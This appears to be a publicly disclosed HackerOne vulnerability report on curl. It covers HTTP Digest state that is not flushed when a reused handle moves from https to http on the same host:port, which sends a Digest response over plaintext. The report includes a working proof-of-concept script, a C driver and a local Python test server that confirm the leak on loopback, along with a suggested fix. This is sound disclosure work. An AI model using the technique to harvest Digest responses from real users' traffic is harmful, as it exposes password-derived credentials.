HexBrain

curl · Report #3993973

HTTP Digest nonce reused across an https→http scheme change on the same handle

Informativestatus
lowseverity
11upvotes
8 Sept 2026disclosed

How it was found

Hi all,

Last one from my side. Looks like https://hackerone.com/reports/3793260 was not patched completely correctly, and libcurl emit a live Authorization: Digest response (computed from a nonce/realm it only ever received over TLS) preemptively over plaintext HTTP, on a reused easy handle that switches from https://host:port to http://host:port. Wasn't sure whether this one, considering the .. unique circumstances that would require it to be hit .. would be best reported here or just as an issue on github, but considering the previous HN submission, thought here might be appropriate.

The bug

Curl_output_digest() decides whether to keep or flush the cached Digest state before building the header:

// lib/http_digest.c:38-62
static void digest_flush_stale(struct Curl_easy *data,
                               struct digestdata *digest,
                               struct Curl_peer *peer,
                               struct Curl_creds *creds)
{
  bool flush = FALSE;
  if(digest->origin && !Curl_peer_same_destination(peer, digest->origin)) {
    ...
    flush = TRUE;
  }
  else if(digest->creds && !Curl_creds_same(creds, digest->creds)) {
    ...
    flush = TRUE;
  }
  if(flush)
    Curl_auth_digest_cleanup(digest);

  Curl_peer_link(&digest->origin, peer);
  Curl_creds_link(&digest->creds, creds);
}

Curl_peer_same_destination() (lib/peer.c:340-348) compares hostname, port, scopeid and zoneid — no scheme. A handle that did Digest auth against https://host:port and is then pointed at http://host:port looks like "the same destination" here, so the cached nonce survives.

The credentials-reuse gate doesn't catch it either: Curl_http_output_auth() short-circuits on data->state.creds (lib/http.c:844) before it ever reaches the scheme-aware Curl_auth_allowed_to_origin() / Curl_peer_equal() (lib/peer.c:324) path. If the app sets the same username/password for the http request, data->state.creds is non-NULL and the scheme-aware check is skipped.

With the nonce still cached, have_chlg = !!digest->nonce (lib/http_digest.c:157) is true, so the Digest response goes out on the first request of the http transfer, before that server has issued any challenge of its own.

Where it came from

digest_flush_stale() was added in 5c6b4880357a — "digest: flush state on origin or credential change" (PR #21944, 2026-06-10) specifically to stop Digest state leaking across origin changes, verified by test1686. That test covers a hostname change (first.test → second.test) and a credential change, both of which work correctly. It never covers a same-host scheme change, which is the one case Curl_peer_same_destination() doesn't catch, so the fix has a real gap in exactly the dimension its own name promises to handle.

PoC

The PoC reuses one easy handle: an https transfer with alice:secret (caches the nonce), then an http transfer to the same host:port. A loopback server peeks the first byte of each connection to route TLS vs. plaintext, and records whether a plaintext request already carries Authorization: Digest.

#!/bin/sh
# Usage:
#   ./run.sh exploit   # same creds on both transfers -> nonce reused -> LEAK
#   ./run.sh control   # different creds on 2nd xfer   -> flushed     -> no leak
set -e
MODE="${1:-exploit}"
PORT="${PORT:-18443}"
RUNDIR="${TMPDIR:-/tmp}/digest-scheme-poc-$$"
CERT="$RUNDIR/cert.pem"
KEY="$RUNDIR/key.pem"
MARKER="$RUNDIR/leak-marker"
READY="$RUNDIR/srv-ready"
mkdir -p "$RUNDIR"
cleanup() {
  [ -n "$SRV" ] && { kill "$SRV" 2>/dev/null; wait "$SRV" 2>/dev/null || true; }
  rm -rf "$RUNDIR"
}

openssl req -x509 -newkey rsa:2048 -keyout "$KEY" -out "$CERT" \
  -days 3650 -nodes -subj "/CN=127.0.0.1" >/dev/null 2>&1

cat > "$RUNDIR/drv.c" <<'C'
#include <curl/curl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static size_t wr(void *p, size_t s, size_t n, void *u) {
  (void)p; (void)u;
  return s * n;
}

int main(int argc, char **argv) {
  const char *mode = (argc > 1) ? argv[1] : "exploit";
  const char *port = getenv("PORT");
  if (!port) port = "18443";
  char hs[256], hp[256];
  snprintf(hs, sizeof hs, "https://127.0.0.1:%s/", port);
  snprintf(hp, sizeof hp, "http://127.0.0.1:%s/", port);

  curl_global_init(CURL_GLOBAL_DEFAULT);
  CURL *h = curl_easy_init();
  curl_easy_setopt(h, CURLOPT_WRITEFUNCTION, wr);
  curl_easy_setopt(h, CURLOPT_SSL_VERIFYPEER, 0L);
  curl_easy_setopt(h, CURLOPT_SSL_VERIFYHOST, 0L);
  curl_easy_setopt(h, CURLOPT_HTTPAUTH, (long)CURLAUTH_DIGEST);

  /* transfer 1: https, obtains and caches the Digest nonce */
  curl_easy_setopt(h, CURLOPT_URL, hs);
  curl_easy_setopt(h, CURLOPT_USERPWD, "alice:secret");
  CURLcode r1 = curl_easy_perform(h);
  fprintf(stderr, "== transfer1 https: %s\n", curl_easy_strerror(r1));

  /* transfer 2: plaintext http, same handle, same host:port */
  curl_easy_setopt(h, CURLOPT_URL, hp);
  if (strcmp(mode, "control") == 0)
    curl_easy_setopt(h, CURLOPT_USERPWD, "bob:different"); /* creds differ -> flush -> no leak */
  else
    curl_easy_setopt(h, CURLOPT_USERPWD, "alice:secret");  /* same creds -> stale nonce reused -> leak */
  CURLcode r2 = curl_easy_perform(h);
  fprintf(stderr, "== transfer2 http: %s\n", curl_easy_strerror(r2));

  curl_easy_cleanup(h);
  curl_global_cleanup();
  return 0;
}
C

cat > "$RUNDIR/server.py" <<'PY'
import socket, ssl, os, sys, threading

PORT = int(os.environ["PORT"])
CERT = os.environ["CERT"]
KEY = os.environ["KEY"]
MARKER = os.environ["MARKER"]
READY = os.environ["READY"]

def read_req(rf):
    line = rf.readline()
    if not line:
        return None, ""
    hdrs = b""
    while True:
        h = rf.readline()
        if h in (b"\r\n", b"\n", b""):
            break
        hdrs += h
    return line, hdrs.decode("latin1")

def handle_tls(conn):
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ctx.load_cert_chain(CERT, KEY)
    try:
        s = ctx.wrap_socket(conn, server_side=True)
    except Exception as e:
        sys.stderr.write("tls handshake failed: %r\n" % e)
        return
    rf = s.makefile("rb")
    while True:
        line, hdrs = read_req(rf)
        if line is None:
            break
        if "authorization:" in hdrs.lower():
            body = b"OK\n"
            s.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: %d\r\nConnection: keep-alive\r\n\r\n%s"
                      % (len(body), body))
        else:
            chal = b'Digest realm="testrealm", nonce="deadbeefcafe1234", qop="auth"'
            s.sendall(b"HTTP/1.1 401 Unauthorized\r\nWWW-Authenticate: %s\r\n"
                      b"Content-Length: 0\r\nConnection: keep-alive\r\n\r\n" % chal)
    try:
        s.close()
    except Exception:
        pass

def handle_plain(conn):
    rf = conn.makefile("rb")
    line, hdrs = read_req(rf)
    if "authorization: digest" in hdrs.lower():
        with open(MARKER, "w") as f:
            f.write((line or b"").decode("latin1", "replace") + hdrs)
        sys.stderr.write("PLAINTEXT LEAK: client sent Authorization: Digest over http "
                          "before any challenge\n")
    body = b"OK\n"
    try:
        conn.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: %d\r\nConnection: close\r\n\r\n%s"
                     % (len(body), body))
    except Exception:
        pass
    try:
        conn.close()
    except Exception:
        pass

def main():
    l = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    l.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    l.bind(("127.0.0.1", PORT))
    l.listen(16)
    open(READY, "w").close()
    while True:
        conn, _ = l.accept()
        try:
            first = conn.recv(1, socket.MSG_PEEK)
        except Exception:
            conn.close()
            continue
        target = handle_tls if first == b"\x16" else handle_plain
        threading.Thread(target=target, args=(conn,), daemon=True).start()

main()
PY

CC="${CC:-cc}"
if command -v curl-config >/dev/null 2>&1; then
  CURL_CFLAGS="$(curl-config --cflags)"
  CURL_LIBS="$(curl-config --libs)"
else
  CURL_CFLAGS=""
  CURL_LIBS="-lcurl"
fi

"$CC" $CURL_CFLAGS "$RUNDIR/drv.c" $CURL_LIBS -o "$RUNDIR/drv"

PORT="$PORT" CERT="$CERT" KEY="$KEY" MARKER="$MARKER" READY="$READY" \
  python3 "$RUNDIR/server.py" 2>"$RUNDIR/srv.log" &
SRV=$!

i=0
while [ ! -f "$READY" ]; do
  i=$((i + 1))
  [ "$i" -gt 200 ] && { echo "server never came up" >&2; cat "$RUNDIR/srv.log" >&2; cleanup; exit 1; }
  sleep 0.05
done

PORT="$PORT" "$RUNDIR/drv" "$MODE" >"$RUNDIR/drv.log" 2>&1 || true
sleep 0.3

echo "---- driver output ----"
cat "$RUNDIR/drv.log"
echo "---- server stderr ----"
cat "$RUNDIR/srv.log"
echo "------------------------"

if [ -f "$MARKER" ]; then
  echo "RESULT: LEAK - plaintext http request carried Authorization: Digest before any challenge"
  echo "captured request line + headers:"
  sed 's/^/    /' "$MARKER"
  rc=1
else
  echo "RESULT: no leak observed"
  rc=0
fi

cleanup
exit "$rc"

Run as exploit, the plaintext server's very first request already carries the header, before any 401:

GET / HTTP/1.1
Host: 127.0.0.1:18443
Authorization: Digest username="alice", realm="testrealm", nonce="deadbeefcafe1234", uri="/", cnonce="...", nc=00000002, qop=auth, response="..."

control (second CURLOPT_USERPWD set to bob:different) hits Curl_creds_same(), flushes, and sends no Authorization header on the first plaintext request — same code path, same host:port, only the credential match/mismatch differs.

Suggested direction

Swap Curl_peer_same_destination() for the already scheme-aware Curl_peer_equal() (lib/peer.c:324) at lib/http_digest.c:44, or add an explicit scheme comparison there, so a scheme change on the same host:port always flushes cached Digest state regardless of credential match. Probably worth extending test1686 with a same-host scheme-downgrade case, since that's the gap the existing test doesn't cover.

Thank you, Josh

Impact

An on-path attacker who can only observe the plaintext http leg a Digest response (MD5(HA1, nonce, HA2, ...), keyed on the actual password tied to a challenge their own server never issued, sent preemptively rather than earned.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original